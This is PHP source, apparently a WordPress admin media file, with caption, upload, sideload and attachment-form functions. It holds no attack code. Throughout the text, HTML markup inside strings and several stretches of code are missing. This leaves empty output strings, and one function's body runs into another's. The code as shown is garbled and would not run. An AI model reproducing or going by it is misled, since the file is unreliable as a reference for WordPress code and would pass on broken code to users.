* Filters whether to disable captions.
*
* Prevents image captions from being appended to image HTML when inserted into the editor.
*
* @since 2.6.0
*
* @param bool $bool Whether to disable appending captions. Returning true from the filter
* will disable captions. Default empty string.
*/
if ( empty( $caption ) || apply_filters( 'disable_captions', '' ) ) {
return $html;
}
$id = ( 0 < (int) $id ) ? 'attachment_' . $id : '';
if ( ! preg_match( '/width=["\']([0-9]+)/', $html, $matches ) ) {
return $html;
}
$width = $matches[1];
$caption = str_replace( array( "\r\n", "\r" ), "\n", $caption );
$caption = preg_replace_callback( '/<[a-zA-Z0-9]+(?: [^<>]+>)*/', '_cleanup_image_add_caption', $caption );
// Convert any remaining line breaks to .
$caption = preg_replace( '/[ \n\t]*\n[ \t]*/', ' ', $caption );
$html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html );
if ( empty( $align ) ) {
$align = 'none';
}
$shcode = '[caption id="' . $id . '" align="align' . $align . '" width="' . $width . '"]' . $html . ' ' . $caption . '[/caption]';
/**
* Filters the image HTML markup including the caption shortcode.
*
* @since 2.6.0
*
* @param string $shcode The image HTML markup with caption shortcode.
* @param string $html The image HTML markup.
*/
return apply_filters( 'image_add_caption_shortcode', $shcode, $html );
}
/**
* Private preg_replace callback used in image_add_caption().
*
* @access private
* @since 3.4.0
*
* @param array $matches Single regex match.
* @return string Cleaned up HTML for caption.
*/
function _cleanup_image_add_caption( $matches ) {
// Remove any line breaks from inside the tags.
return preg_replace( '/[\r\n\t]+/', ' ', $matches[0] );
}
/**
* Adds image HTML to editor.
*
* @since 2.5.0
*
* @param string $html
*/
function media_send_to_editor( $html ) {
?>
false ) ) {
$time = current_time( 'mysql' );
$post = get_post( $post_id );
if ( $post ) {
// The post date doesn't usually matter for pages, so don't backdate this upload.
if ( 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) {
$time = $post->post_date;
}
}
$file = wp_handle_upload( $_FILES[ $file_id ], $overrides, $time );
if ( isset( $file['error'] ) ) {
return new WP_Error( 'upload_error', $file['error'] );
}
$name = $_FILES[ $file_id ]['name'];
$ext = pathinfo( $name, PATHINFO_EXTENSION );
$name = wp_basename( $name, ".$ext" );
$url = $file['url'];
$type = $file['type'];
$file = $file['file'];
$title = sanitize_text_field( $name );
$content = '';
$excerpt = '';
if ( preg_match( '#^audio#', $type ) ) {
$meta = wp_read_audio_metadata( $file );
if ( ! empty( $meta['title'] ) ) {
$title = $meta['title'];
}
if ( ! empty( $title ) ) {
if ( ! empty( $meta['album'] ) && ! empty( $meta['artist'] ) ) {
/* translators: 1: Audio track title, 2: Album title, 3: Artist name. */
$content .= sprintf( __( '"%1$s" from %2$s by %3$s.' ), $title, $meta['album'], $meta['artist'] );
} elseif ( ! empty( $meta['album'] ) ) {
/* translators: 1: Audio track title, 2: Album title. */
$content .= sprintf( __( '"%1$s" from %2$s.' ), $title, $meta['album'] );
} elseif ( ! empty( $meta['artist'] ) ) {
/* translators: 1: Audio track title, 2: Artist name. */
$content .= sprintf( __( '"%1$s" by %2$s.' ), $title, $meta['artist'] );
} else {
/* translators: %s: Audio track title. */
$content .= sprintf( __( '"%s".' ), $title );
}
} elseif ( ! empty( $meta['album'] ) ) {
if ( ! empty( $meta['artist'] ) ) {
/* translators: 1: Audio album title, 2: Artist name. */
$content .= sprintf( __( '%1$s by %2$s.' ), $meta['album'], $meta['artist'] );
} else {
$content .= $meta['album'] . '.';
}
} elseif ( ! empty( $meta['artist'] ) ) {
$content .= $meta['artist'] . '.';
}
if ( ! empty( $meta['year'] ) ) {
/* translators: Audio file track information. %d: Year of audio track release. */
$content .= ' ' . sprintf( __( 'Released: %d.' ), $meta['year'] );
}
if ( ! empty( $meta['track_number'] ) ) {
$track_number = explode( '/', $meta['track_number'] );
if ( is_numeric( $track_number[0] ) ) {
if ( isset( $track_number[1] ) && is_numeric( $track_number[1] ) ) {
$content .= ' ' . sprintf(
/* translators: Audio file track information. 1: Audio track number, 2: Total audio tracks. */
__( 'Track %1$s of %2$s.' ),
number_format_i18n( $track_number[0] ),
number_format_i18n( $track_number[1] )
);
} else {
$content .= ' ' . sprintf(
/* translators: Audio file track information. %s: Audio track number. */
__( 'Track %s.' ),
number_format_i18n( $track_number[0] )
);
}
}
}
if ( ! empty( $meta['genre'] ) ) {
/* translators: Audio file genre information. %s: Audio genre name. */
$content .= ' ' . sprintf( __( 'Genre: %s.' ), $meta['genre'] );
}
// Use image exif/iptc data for title and caption defaults if possible.
} elseif ( str_starts_with( $type, 'image/' ) ) {
$image_meta = wp_read_image_metadata( $file );
if ( $image_meta ) {
if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
$title = $image_meta['title'];
}
if ( trim( $image_meta['caption'] ) ) {
$excerpt = $image_meta['caption'];
}
}
}
// Construct the attachment array.
$attachment = array_merge(
array(
'post_mime_type' => $type,
'guid' => $url,
'post_parent' => $post_id,
'post_title' => $title,
'post_content' => $content,
'post_excerpt' => $excerpt,
),
$post_data
);
// This should never be set as it would then overwrite an existing attachment.
unset( $attachment['ID'] );
// Save the data.
$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );
if ( ! is_wp_error( $attachment_id ) ) {
/*
* Set a custom header with the attachment_id.
* Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
*/
if ( ! headers_sent() ) {
header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
}
/*
* The image sub-sizes are created during wp_generate_attachment_metadata().
* This is generally slow and may cause timeouts or out of memory errors.
*/
wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
}
return $attachment_id;
}
/**
* Handles a side-loaded file in the same way as an uploaded file is handled by media_handle_upload().
*
* @since 2.6.0
* @since 5.3.0 The `$post_id` parameter was made optional.
*
* @param string[] $file_array Array that represents a `$_FILES` upload array.
* @param int $post_id Optional. The post ID the media is associated with.
* @param string $desc Optional. Description of the side-loaded file. Default null.
* @param array $post_data Optional. Post data to override. Default empty array.
* @return int|WP_Error The ID of the attachment or a WP_Error on failure.
*/
function media_handle_sideload( $file_array, $post_id = 0, $desc = null, $post_data = array() ) {
$overrides = array( 'test_form' => false );
if ( isset( $post_data['post_date'] ) && substr( $post_data['post_date'], 0, 4 ) > 0 ) {
$time = $post_data['post_date'];
} else {
$post = get_post( $post_id );
if ( $post && substr( $post->post_date, 0, 4 ) > 0 ) {
$time = $post->post_date;
} else {
$time = current_time( 'mysql' );
}
}
$file = wp_handle_sideload( $file_array, $overrides, $time );
if ( isset( $file['error'] ) ) {
return new WP_Error( 'upload_error', $file['error'] );
}
$url = $file['url'];
$type = $file['type'];
$file = $file['file'];
$title = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) );
$content = '';
// Use image exif/iptc data for title and caption defaults if possible.
$image_meta = wp_read_image_metadata( $file );
if ( $image_meta ) {
if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
$title = $image_meta['title'];
}
if ( trim( $image_meta['caption'] ) ) {
$content = $image_meta['caption'];
}
}
if ( isset( $desc ) ) {
$title = $desc;
}
// Construct the attachment array.
$attachment = array_merge(
array(
'post_mime_type' => $type,
'guid' => $url,
'post_parent' => $post_id,
'post_title' => $title,
'post_content' => $content,
),
$post_data
);
// This should never be set as it would then overwrite an existing attachment.
unset( $attachment['ID'] );
// Save the attachment metadata.
$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );
if ( ! is_wp_error( $attachment_id ) ) {
wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
}
return $attachment_id;
}
/**
* Outputs the iframe to display the media upload page.
*
* @since 2.5.0
* @since 5.3.0 Formalized the existing and already documented `...$args` parameter
* by adding it to the function signature.
*
* @global string $body_id
*
* @param callable $content_func Function that outputs the content.
* @param mixed ...$args Optional additional parameters to pass to the callback function when it's called.
*/
function wp_iframe( $content_func, ...$args ) {
global $body_id;
_wp_admin_html_begin();
?>
› —
class="wp-core-ui no-js">
$post ) );
$img = ' ';
$id_attribute = 1 === $instance ? ' id="insert-media-button"' : '';
printf(
'',
$id_attribute,
esc_attr( $editor_id ),
$img . __( 'Add Media' )
);
/**
* Filters the legacy (pre-3.5.0) media buttons.
*
* Use {@see 'media_buttons'} action instead.
*
* @since 2.5.0
* @deprecated 3.5.0 Use {@see 'media_buttons'} action instead.
*
* @param string $string Media buttons context. Default empty.
*/
$legacy_filter = apply_filters_deprecated( 'media_buttons_context', array( '' ), '3.5.0', 'media_buttons' );
if ( $legacy_filter ) {
// #WP22559. Close if a plugin started by closing to open their own tag.
if ( 0 === stripos( trim( $legacy_filter ), '' ) ) {
$legacy_filter .= '';
}
echo $legacy_filter;
}
}
/**
* Retrieves the upload iframe source URL.
*
* @since 3.0.0
*
* @global int $post_ID
*
* @param string $type Media type.
* @param int $post_id Post ID.
* @param string $tab Media upload tab.
* @return string Upload iframe source URL.
*/
function get_upload_iframe_src( $type = null, $post_id = null, $tab = null ) {
global $post_ID;
if ( empty( $post_id ) ) {
$post_id = $post_ID;
}
$upload_iframe_src = add_query_arg( 'post_id', (int) $post_id, admin_url( 'media-upload.php' ) );
if ( $type && 'media' !== $type ) {
$upload_iframe_src = add_query_arg( 'type', $type, $upload_iframe_src );
}
if ( ! empty( $tab ) ) {
$upload_iframe_src = add_query_arg( 'tab', $tab, $upload_iframe_src );
}
/**
* Filters the upload iframe source URL for a specific media type.
*
* The dynamic portion of the hook name, `$type`, refers to the type
* of media uploaded.
*
* Possible hook names include:
*
* - `image_upload_iframe_src`
* - `media_upload_iframe_src`
*
* @since 3.0.0
*
* @param string $upload_iframe_src The upload iframe source URL.
*/
$upload_iframe_src = apply_filters( "{$type}_upload_iframe_src", $upload_iframe_src );
return add_query_arg( 'TB_iframe', true, $upload_iframe_src );
}
/**
* Handles form submissions for the legacy media uploader.
*
* @since 2.5.0
*
* @return null|array|void Array of error messages keyed by attachment ID, null or void on success.
*/
function media_upload_form_handler() {
check_admin_referer( 'media-form' );
$errors = null;
if ( isset( $_POST['send'] ) ) {
$keys = array_keys( $_POST['send'] );
$send_id = (int) reset( $keys );
}
if ( ! empty( $_POST['attachments'] ) ) {
foreach ( $_POST['attachments'] as $attachment_id => $attachment ) {
$post = get_post( $attachment_id, ARRAY_A );
$_post = $post;
if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
continue;
}
if ( isset( $attachment['post_content'] ) ) {
$post['post_content'] = $attachment['post_content'];
}
if ( isset( $attachment['post_title'] ) ) {
$post['post_title'] = $attachment['post_title'];
}
if ( isset( $attachment['post_excerpt'] ) ) {
$post['post_excerpt'] = $attachment['post_excerpt'];
}
if ( isset( $attachment['menu_order'] ) ) {
$post['menu_order'] = $attachment['menu_order'];
}
if ( isset( $send_id ) && $attachment_id == $send_id ) {
if ( isset( $attachment['post_parent'] ) ) {
$post['post_parent'] = $attachment['post_parent'];
}
}
/**
* Filters the attachment fields to be saved.
*
* @since 2.5.0
*
* @see wp_get_attachment_metadata()
*
* @param array $post An array of post data.
* @param array $attachment An array of attachment metadata.
*/
$post = apply_filters( 'attachment_fields_to_save', $post, $attachment );
if ( isset( $attachment['image_alt'] ) ) {
$image_alt = wp_unslash( $attachment['image_alt'] );
if ( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) !== $image_alt ) {
$image_alt = wp_strip_all_tags( $image_alt, true );
// update_post_meta() expects slashed.
update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
}
}
if ( isset( $post['errors'] ) ) {
$errors[ $attachment_id ] = $post['errors'];
unset( $post['errors'] );
}
if ( $post != $_post ) {
wp_update_post( $post );
}
foreach ( get_attachment_taxonomies( $post ) as $t ) {
if ( isset( $attachment[ $t ] ) ) {
wp_set_object_terms( $attachment_id, array_map( 'trim', preg_split( '/,+/', $attachment[ $t ] ) ), $t, false );
}
}
}
}
if ( isset( $_POST['insert-gallery'] ) || isset( $_POST['update-gallery'] ) ) {
?>
$html";
}
/**
* Filters the HTML markup for a media item sent to the editor.
*
* @since 2.5.0
*
* @see wp_get_attachment_metadata()
*
* @param string $html HTML markup for a media item sent to the editor.
* @param int $send_id The first key from the $_POST['send'] data.
* @param array $attachment Array of attachment metadata.
*/
$html = apply_filters( 'media_send_to_editor', $html, $send_id, $attachment );
return media_send_to_editor( $html );
}
return $errors;
}
/**
* Handles the process of uploading media.
*
* @since 2.5.0
*
* @return null|string
*/
function wp_media_upload_handler() {
$errors = array();
$id = 0;
if ( isset( $_POST['html-upload'] ) && ! empty( $_FILES ) ) {
check_admin_referer( 'media-form' );
// Upload File button was clicked.
$id = media_handle_upload( 'async-upload', $_REQUEST['post_id'] );
unset( $_FILES );
if ( is_wp_error( $id ) ) {
$errors['upload_error'] = $id;
$id = false;
}
}
if ( ! empty( $_POST['insertonlybutton'] ) ) {
$src = $_POST['src'];
if ( ! empty( $src ) && ! strpos( $src, '://' ) ) {
$src = "http://$src";
}
if ( isset( $_POST['media_type'] ) && 'image' !== $_POST['media_type'] ) {
$title = esc_html( wp_unslash( $_POST['title'] ) );
if ( empty( $title ) ) {
$title = esc_html( wp_basename( $src ) );
}
if ( $title && $src ) {
$html = "$title";
}
$type = 'file';
$ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src );
if ( $ext ) {
$ext_type = wp_ext2type( $ext );
if ( 'audio' === $ext_type || 'video' === $ext_type ) {
$type = $ext_type;
}
}
/**
* Filters the URL sent to the editor for a specific media type.
*
* The dynamic portion of the hook name, `$type`, refers to the type
* of media being sent.
*
* Possible hook names include:
*
* - `audio_send_to_editor_url`
* - `file_send_to_editor_url`
* - `video_send_to_editor_url`
*
* @since 3.3.0
*
* @param string $html HTML markup sent to the editor.
* @param string $src Media source URL.
* @param string $title Media title.
*/
$html = apply_filters( "{$type}_send_to_editor_url", $html, sanitize_url( $src ), $title );
} else {
$align = '';
$alt = esc_attr( wp_unslash( $_POST['alt'] ) );
if ( isset( $_POST['align'] ) ) {
$align = esc_attr( wp_unslash( $_POST['align'] ) );
$class = " class='align$align'";
}
if ( ! empty( $src ) ) {
$html = "";
}
/**
* Filters the image URL sent to the editor.
*
* @since 2.8.0
*
* @param string $html HTML markup sent to the editor for an image.
* @param string $src Image source URL.
* @param string $alt Image alternate, or alt, text.
* @param string $align The image alignment. Default 'alignnone'. Possible values include
* 'alignleft', 'aligncenter', 'alignright', 'alignnone'.
*/
$html = apply_filters( 'image_send_to_editor_url', $html, sanitize_url( $src ), $alt, $align );
}
return media_send_to_editor( $html );
}
if ( isset( $_POST['save'] ) ) {
$errors['upload_notice'] = __( 'Saved.' );
wp_enqueue_script( 'admin-gallery' );
return wp_iframe( 'media_upload_gallery_form', $errors );
} elseif ( ! empty( $_POST ) ) {
$return = media_upload_form_handler();
if ( is_string( $return ) ) {
return $return;
}
if ( is_array( $return ) ) {
$errors = $return;
}
}
if ( isset( $_GET['tab'] ) && 'type_url' === $_GET['tab'] ) {
$type = 'image';
if ( isset( $_GET['type'] ) && in_array( $_GET['type'], array( 'video', 'audio', 'file' ), true ) ) {
$type = $_GET['type'];
}
return wp_iframe( 'media_upload_type_url_form', $type, $errors, $id );
}
return wp_iframe( 'media_upload_type_form', 'image', $errors, $id );
}
/**
* Downloads an image from the specified URL, saves it as an attachment, and optionally attaches it to a post.
*
* @since 2.6.0
* @since 4.2.0 Introduced the `$return_type` parameter.
* @since 4.8.0 Introduced the 'id' option for the `$return_type` parameter.
* @since 5.3.0 The `$post_id` parameter was made optional.
* @since 5.4.0 The original URL of the attachment is stored in the `_source_url`
* post meta value.
* @since 5.8.0 Added 'webp' to the default list of allowed file extensions.
*
* @param string $file The URL of the image to download.
* @param int $post_id Optional. The post ID the media is to be associated with.
* @param string $desc Optional. Description of the image.
* @param string $return_type Optional. Accepts 'html' (image tag html) or 'src' (URL),
* or 'id' (attachment ID). Default 'html'.
* @return string|int|WP_Error Populated HTML img tag, attachment ID, or attachment source
* on success, WP_Error object otherwise.
*/
function media_sideload_image( $file, $post_id = 0, $desc = null, $return_type = 'html' ) {
if ( ! empty( $file ) ) {
$allowed_extensions = array( 'jpg', 'jpeg', 'jpe', 'png', 'gif', 'webp' );
/**
* Filters the list of allowed file extensions when sideloading an image from a URL.
*
* The default allowed extensions are:
*
* - `jpg`
* - `jpeg`
* - `jpe`
* - `png`
* - `gif`
* - `webp`
*
* @since 5.6.0
* @since 5.8.0 Added 'webp' to the default list of allowed file extensions.
*
* @param string[] $allowed_extensions Array of allowed file extensions.
* @param string $file The URL of the image to download.
*/
$allowed_extensions = apply_filters( 'image_sideload_extensions', $allowed_extensions, $file );
$allowed_extensions = array_map( 'preg_quote', $allowed_extensions );
// Set variables for storage, fix file filename for query strings.
preg_match( '/[^\?]+\.(' . implode( '|', $allowed_extensions ) . ')\b/i', $file, $matches );
if ( ! $matches ) {
return new WP_Error( 'image_sideload_failed', __( 'Invalid image URL.' ) );
}
$file_array = array();
$file_array['name'] = wp_basename( $matches[0] );
// Download file to temp location.
$file_array['tmp_name'] = download_url( $file );
// If error storing temporarily, return the error.
if ( is_wp_error( $file_array['tmp_name'] ) ) {
return $file_array['tmp_name'];
}
// Do the validation and storage stuff.
$id = media_handle_sideload( $file_array, $post_id, $desc );
// If error storing permanently, unlink.
if ( is_wp_error( $id ) ) {
@unlink( $file_array['tmp_name'] );
return $id;
}
// Store the original attachment source in meta.
add_post_meta( $id, '_source_url', $file );
// If attachment ID was requested, return it.
if ( 'id' === $return_type ) {
return $id;
}
$src = wp_get_attachment_url( $id );
}
// Finally, check to make sure the file has been saved, then return the HTML.
if ( ! empty( $src ) ) {
if ( 'src' === $return_type ) {
return $src;
}
$alt = isset( $desc ) ? esc_attr( $desc ) : '';
$html = "";
return $html;
} else {
return new WP_Error( 'image_sideload_failed' );
}
}
/**
* Retrieves the legacy media uploader form in an iframe.
*
* @since 2.5.0
*
* @return string|null
*/
function media_upload_gallery() {
$errors = array();
if ( ! empty( $_POST ) ) {
$return = media_upload_form_handler();
if ( is_string( $return ) ) {
return $return;
}
if ( is_array( $return ) ) {
$errors = $return;
}
}
wp_enqueue_script( 'admin-gallery' );
return wp_iframe( 'media_upload_gallery_form', $errors );
}
/**
* Retrieves the legacy media library form in an iframe.
*
* @since 2.5.0
*
* @return string|null
*/
function media_upload_library() {
$errors = array();
if ( ! empty( $_POST ) ) {
$return = media_upload_form_handler();
if ( is_string( $return ) ) {
return $return;
}
if ( is_array( $return ) ) {
$errors = $return;
}
}
return wp_iframe( 'media_upload_library_form', $errors );
}
/**
* Retrieves HTML for the image alignment radio buttons with the specified one checked.
*
* @since 2.7.0
*
* @param WP_Post $post
* @param string $checked
* @return string
*/
function image_align_input_fields( $post, $checked = '' ) {
if ( empty( $checked ) ) {
$checked = get_user_setting( 'align', 'none' );
}
$alignments = array(
'none' => __( 'None' ),
'left' => __( 'Left' ),
'center' => __( 'Center' ),
'right' => __( 'Right' ),
);
if ( ! array_key_exists( (string) $checked, $alignments ) ) {
$checked = 'none';
}
$output = array();
foreach ( $alignments as $name => $label ) {
$name = esc_attr( $name );
$output[] = "";
}
return implode( "\n", $output );
}
/**
* Retrieves HTML for the size radio buttons with the specified one checked.
*
* @since 2.7.0
*
* @param WP_Post $post
* @param bool|string $check
* @return array
*/
function image_size_input_fields( $post, $check = '' ) {
/**
* Filters the names and labels of the default image sizes.
*
* @since 3.3.0
*
* @param string[] $size_names Array of image size labels keyed by their name. Default values
* include 'Thumbnail', 'Medium', 'Large', and 'Full Size'.
*/
$size_names = apply_filters(
'image_size_names_choose',
array(
'thumbnail' => __( 'Thumbnail' ),
'medium' => __( 'Medium' ),
'large' => __( 'Large' ),
'full' => __( 'Full Size' ),
)
);
if ( empty( $check ) ) {
$check = get_user_setting( 'imgsize', 'medium' );
}
$output = array();
foreach ( $size_names as $size => $label ) {
$downsize = image_downsize( $post->ID, $size );
$checked = '';
// Is this size selectable?
$enabled = ( $downsize[3] || 'full' === $size );
$css_id = "image-size-{$size}-{$post->ID}";
// If this size is the default but that's not available, don't select it.
if ( $size == $check ) {
if ( $enabled ) {
$checked = " checked='checked'";
} else {
$check = '';
}
} elseif ( ! $check && $enabled && 'thumbnail' !== $size ) {
/*
* If $check is not enabled, default to the first available size
* that's bigger than a thumbnail.
*/
$check = $size;
$checked = " checked='checked'";
}
$html = "
ID][image-size]' id='{$css_id}' value='{$size}'$checked />";
$html .= "";
// Only show the dimensions if that choice is available.
if ( $enabled ) {
$html .= " ';
}
$html .= '
';
$output[] = $html;
}
return array(
'label' => __( 'Size' ),
'input' => 'html',
'html' => implode( "\n", $output ),
);
}
/**
* Retrieves HTML for the Link URL buttons with the default link type as specified.
*
* @since 2.7.0
*
* @param WP_Post $post
* @param string $url_type
* @return string
*/
function image_link_input_fields( $post, $url_type = '' ) {
$file = wp_get_attachment_url( $post->ID );
$link = get_attachment_link( $post->ID );
if ( empty( $url_type ) ) {
$url_type = get_user_setting( 'urlbutton', 'post' );
}
$url = '';
if ( 'file' === $url_type ) {
$url = $file;
} elseif ( 'post' === $url_type ) {
$url = $link;
}
return "
';
}
/**
* Outputs a textarea element for inputting an attachment caption.
*
* @since 3.4.0
*
* @param WP_Post $edit_post Attachment WP_Post object.
* @return string HTML markup for the textarea element.
*/
function wp_caption_input_textarea( $edit_post ) {
// Post data is already escaped.
$name = "attachments[{$edit_post->ID}][post_excerpt]";
return '';
}
/**
* Retrieves the image attachment fields to edit form fields.
*
* @since 2.5.0
*
* @param array $form_fields
* @param object $post
* @return array
*/
function image_attachment_fields_to_edit( $form_fields, $post ) {
return $form_fields;
}
/**
* Retrieves the single non-image attachment fields to edit form fields.
*
* @since 2.5.0
*
* @param array $form_fields An array of attachment form fields.
* @param WP_Post $post The WP_Post attachment object.
* @return array Filtered attachment form fields.
*/
function media_single_attachment_fields_to_edit( $form_fields, $post ) {
unset( $form_fields['url'], $form_fields['align'], $form_fields['image-size'] );
return $form_fields;
}
/**
* Retrieves the post non-image attachment fields to edit form fields.
*
* @since 2.8.0
*
* @param array $form_fields An array of attachment form fields.
* @param WP_Post $post The WP_Post attachment object.
* @return array Filtered attachment form fields.
*/
function media_post_single_attachment_fields_to_edit( $form_fields, $post ) {
unset( $form_fields['image_url'] );
return $form_fields;
}
/**
* Retrieves the media element HTML to send to the editor.
*
* @since 2.5.0
*
* @param string $html
* @param int $attachment_id
* @param array $attachment
* @return string
*/
function image_media_send_to_editor( $html, $attachment_id, $attachment ) {
$post = get_post( $attachment_id );
if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
$url = $attachment['url'];
$align = ! empty( $attachment['align'] ) ? $attachment['align'] : 'none';
$size = ! empty( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
$alt = ! empty( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';
$rel = ( str_contains( $url, 'attachment_id' ) || get_attachment_link( $attachment_id ) === $url );
return get_image_send_to_editor( $attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt );
}
return $html;
}
/**
* Retrieves the attachment fields to edit form fields.
*
* @since 2.5.0
*
* @param WP_Post $post
* @param array $errors
* @return array
*/
function get_attachment_fields_to_edit( $post, $errors = null ) {
if ( is_int( $post ) ) {
$post = get_post( $post );
}
if ( is_array( $post ) ) {
$post = new WP_Post( (object) $post );
}
$image_url = wp_get_attachment_url( $post->ID );
$edit_post = sanitize_post( $post, 'edit' );
$form_fields = array(
'post_title' => array(
'label' => __( 'Title' ),
'value' => $edit_post->post_title,
),
'image_alt' => array(),
'post_excerpt' => array(
'label' => __( 'Caption' ),
'input' => 'html',
'html' => wp_caption_input_textarea( $edit_post ),
),
'post_content' => array(
'label' => __( 'Description' ),
'value' => $edit_post->post_content,
'input' => 'textarea',
),
'url' => array(
'label' => __( 'Link URL' ),
'input' => 'html',
'html' => image_link_input_fields( $post, get_option( 'image_default_link_type' ) ),
'helps' => __( 'Enter a link URL or click above for presets.' ),
),
'menu_order' => array(
'label' => __( 'Order' ),
'value' => $edit_post->menu_order,
),
'image_url' => array(
'label' => __( 'File URL' ),
'input' => 'html',
'html' => " ",
'value' => wp_get_attachment_url( $post->ID ),
'helps' => __( 'Location of the uploaded file.' ),
),
);
foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
$t = (array) get_taxonomy( $taxonomy );
if ( ! $t['public'] || ! $t['show_ui'] ) {
continue;
}
if ( empty( $t['label'] ) ) {
$t['label'] = $taxonomy;
}
if ( empty( $t['args'] ) ) {
$t['args'] = array();
}
$terms = get_object_term_cache( $post->ID, $taxonomy );
if ( false === $terms ) {
$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
}
$values = array();
foreach ( $terms as $term ) {
$values[] = $term->slug;
}
$t['value'] = implode( ', ', $values );
$form_fields[ $taxonomy ] = $t;
}
/*
* Merge default fields with their errors, so any key passed with the error
* (e.g. 'error', 'helps', 'value') will replace the default.
* The recursive merge is easily traversed with array casting:
* foreach ( (array) $things as $thing )
*/
$form_fields = array_merge_recursive( $form_fields, (array) $errors );
// This was formerly in image_attachment_fields_to_edit().
if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
$alt = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );
if ( empty( $alt ) ) {
$alt = '';
}
$form_fields['post_title']['required'] = true;
$form_fields['image_alt'] = array(
'value' => $alt,
'label' => __( 'Alternative Text' ),
'helps' => __( 'Alt text for the image, e.g. “The Mona Lisa”' ),
);
$form_fields['align'] = array(
'label' => __( 'Alignment' ),
'input' => 'html',
'html' => image_align_input_fields( $post, get_option( 'image_default_align' ) ),
);
$form_fields['image-size'] = image_size_input_fields( $post, get_option( 'image_default_size', 'medium' ) );
} else {
unset( $form_fields['image_alt'] );
}
/**
* Filters the attachment fields to edit.
*
* @since 2.5.0
*
* @param array $form_fields An array of attachment form fields.
* @param WP_Post $post The WP_Post attachment object.
*/
$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );
return $form_fields;
}
/**
* Retrieves HTML for media items of post gallery.
*
* The HTML markup retrieved will be created for the progress of SWF Upload
* component. Will also create link for showing and hiding the form to modify
* the image attachment.
*
* @since 2.5.0
*
* @global WP_Query $wp_the_query WordPress Query object.
*
* @param int $post_id Post ID.
* @param array $errors Errors for attachment, if any.
* @return string HTML content for media items of post gallery.
*/
function get_media_items( $post_id, $errors ) {
$attachments = array();
if ( $post_id ) {
$post = get_post( $post_id );
if ( $post && 'attachment' === $post->post_type ) {
$attachments = array( $post->ID => $post );
} else {
$attachments = get_children(
array(
'post_parent' => $post_id,
'post_type' => 'attachment',
'orderby' => 'menu_order ASC, ID',
'order' => 'DESC',
)
);
}
} else {
if ( is_array( $GLOBALS['wp_the_query']->posts ) ) {
foreach ( $GLOBALS['wp_the_query']->posts as $attachment ) {
$attachments[ $attachment->ID ] = $attachment;
}
}
}
$output = '';
foreach ( (array) $attachments as $id => $attachment ) {
if ( 'trash' === $attachment->post_status ) {
continue;
}
$item = get_media_item( $id, array( 'errors' => isset( $errors[ $id ] ) ? $errors[ $id ] : null ) );
if ( $item ) {
$output .= "\n
';
}
}
/**
* Outputs the legacy media upload form.
*
* @since 2.5.0
*
* @global string $type
* @global string $tab
*
* @param array $errors
*/
function media_upload_form( $errors = null ) {
global $type, $tab;
if ( ! _device_can_upload() ) {
echo '
' . sprintf(
/* translators: %s: https://apps.wordpress.org/ */
__( 'The web browser on your device cannot be used to upload files. You may be able to use the native app for your device instead.' ),
'https://apps.wordpress.org/'
) . '
Learn how to describe the purpose of the image%3$s. Leave empty if the image is purely decorative.' ),
/* translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations. */
esc_url( __( 'https://www.w3.org/WAI/tutorials/images/decision-tree/' ) ),
'target="_blank"',
sprintf(
' %s',
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
)
);
?>
'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
$editor_args = array(
'textarea_name' => 'content',
'textarea_rows' => 5,
'media_buttons' => false,
/**
* Filters the TinyMCE argument for the media description field on the attachment details screen.
*
* @since 6.6.0
*
* @param bool $tinymce Whether to activate TinyMCE in media description field. Default false.
*/
'tinymce' => apply_filters( 'activate_tinymce_for_media_description', false ),
'quicktags' => $quicktags_settings,
);
?>
post_content ), 'attachment_content', $editor_args ); ?>
ID );
echo $extras['item'];
echo '' . "\n";
}
/**
* Displays non-editable attachment metadata in the publish meta box.
*
* @since 3.5.0
*/
function attachment_submitbox_metadata() {
$post = get_post();
$attachment_id = $post->ID;
$file = get_attached_file( $attachment_id );
$filename = esc_html( wp_basename( $file ) );
$media_dims = '';
$meta = wp_get_attachment_metadata( $attachment_id );
if ( isset( $meta['width'], $meta['height'] ) ) {
/* translators: 1: A number of pixels wide, 2: A number of pixels tall. */
$media_dims .= "" . sprintf( __( '%1$s by %2$s pixels' ), $meta['width'], $meta['height'] ) . '';
}
/** This filter is documented in wp-admin/includes/media.php */
$media_dims = apply_filters( 'media_meta', $media_dims, $post );
$att_url = wp_get_attachment_url( $attachment_id );
$author = new WP_User( $post->post_author );
$uploaded_by_name = __( '(no author)' );
$uploaded_by_link = '';
if ( $author->exists() ) {
$uploaded_by_name = $author->display_name ? $author->display_name : $author->nickname;
$uploaded_by_link = get_edit_user_link( $author->ID );
}
?>
post_mime_type ) ) {
$fields = array(
'length_formatted' => __( 'Length:' ),
'bitrate' => __( 'Bitrate:' ),
);
/**
* Filters the audio and video metadata fields to be shown in the publish meta box.
*
* The key for each item in the array should correspond to an attachment
* metadata key, and the value should be the desired label.
*
* @since 3.7.0
* @since 4.9.0 Added the `$post` parameter.
*
* @param array $fields An array of the attachment metadata keys and labels.
